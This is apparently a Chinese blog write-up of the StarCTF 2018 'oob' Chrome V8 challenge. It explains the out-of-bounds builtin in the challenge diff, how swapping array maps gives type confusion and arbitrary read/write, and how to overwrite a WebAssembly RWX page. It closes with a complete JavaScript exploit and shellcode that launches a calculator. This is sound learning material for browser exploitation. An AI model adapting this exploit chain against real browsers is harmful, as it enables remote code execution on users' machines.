Starctf-oob-Chrome V8学习

以一道starctf 2018 oob开始入门学习chrome v8

漏洞分析

题目给出了一个diff,关键代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

作用是给js的array加入了一个新方法,而操作直接取了length,大概可以猜测是一个越界读写,通过测试证实确实可以越界读写到数组元素的下八个字节。

类型混淆

v8是通过map来判断类型,如果我们可以任意读写map,就可以制造出类型混淆。例如:

1.将对象数组的map替换成浮点型数组的map,当读取对象数组的元素是会将对象地址当作浮点值,这样就可以泄露任意对象的地址。
2.将浮点型数组的map替换成对象数组的map,原浮点型数组的元素浮点数会被当作对象地址来看待,这样就可以构造出任意地址为对象,加以构造即可以实现任意地址写。

任意读写

有了上面的类型混淆利用,我们可以泄露任意对象地址和构造出任意地址的对象。这样我们分配一个Array(记为Array1),然后泄露Array1地址出来,再利用任意构造地址对象,在Array1内部构造出来一个Array2,使得Array2在Array1的可控范围之内,Array2的element地址可以由我们任意修改,这样就可以通过控制Array2来实现任意读写。

wasm

有了任意读写的办法,就需要找到去执行shellcode的办法,通过学习知道v8中可以直接执行wasm。在https://wasdk.github.io/WasmFiddle/中可以直接将C语言转换成wasm代码,网站也给了实例:

1
2
3
4
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, wasmImports);
log(wasmInstance.exports.main());

通过泄露对象地址我们可以得到wasm函数的接口地址。
在经过Function–>shared_info–>WasmExportedFunctionData–>instance这样的函数调用查找,最终在instance+0x88处找到了一块RWX内存,我们将shellcode写入,再次调用wasm的接口即可触发shellcode了。

exp:
(主要仿造自https://paper.seebug.org/9463

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);
var obj = {"A":1};
var obj_fake_arr = [obj];
var fake_array_all = [1.1,2,3];
var luckyu = [1,2,3,4]
var obj_map = obj_fake_arr.oob();
var float_fake_array_map = fake_array_all.oob();
function ftoi(floo)
{
fl[0] = floo;
return ui[0];
}
function itof(infake_arr)
{
ui[0] = infake_arr;
return fl[0];
}
function hex(data)
{
return "0x"+data.toString(16);
}
function leak_obj(fake_arr){ //泄漏对象地址
obj_fake_arr[0] = fake_arr;
obj_fake_arr.oob(float_fake_array_map);
let leak_obj_addr = obj_fake_arr[0];
obj_fake_arr.oob(obj_map);
return ftoi(leak_obj_addr);
}

function fake_obj(fake_arr){ //构造对象
fake_array_all[0] = itof(fake_arr);
fake_array_all.oob(obj_map);
let fake_obj_addr = fake_array_all[0];
fake_array_all.oob(float_fake_array_map);
return fake_obj_addr;
}
function write(addr,data){
let r = fake_obj(leak_obj(fake_arr)-0x20n);
fake_arr[2] = itof(addr-0x10n);
r[0] = itof(data);
}

function read(addr){
let w = fake_obj(leak_obj(fake_arr)-0x20n);
fake_arr[2] = itof(addr-0x10n);
return ftoi(w[0]);
}

var fake_arr = [float_fake_array_map,1.1,2.2,3.3];
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var ex = wasmInstance.exports.main;
var leak_ex = leak_obj(ex);

var data1 = read(leak_ex+0x18n);
var data2 = read(data1+0x8n);
var data3 = read(data2+0x10n);
var data4 = read(data3+0x88n);

let buffer = new ArrayBuffer(0x100);
let dataview = new DataView(buffer);
let leak_buff = leak_obj(buffer);
let fake_write = leak_buff+0x20n;
write(fake_write,data4);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for(var i=0;i<shellcode.length;i++){
dataview.setUint32(4*i,shellcode[i],true);
}

ex();

成功弹出计算器:

参考

主要参考了这篇文章:https://paper.seebug.org/9463,感谢V1NKe师傅分享

.gt-container a{border-bottom: none;}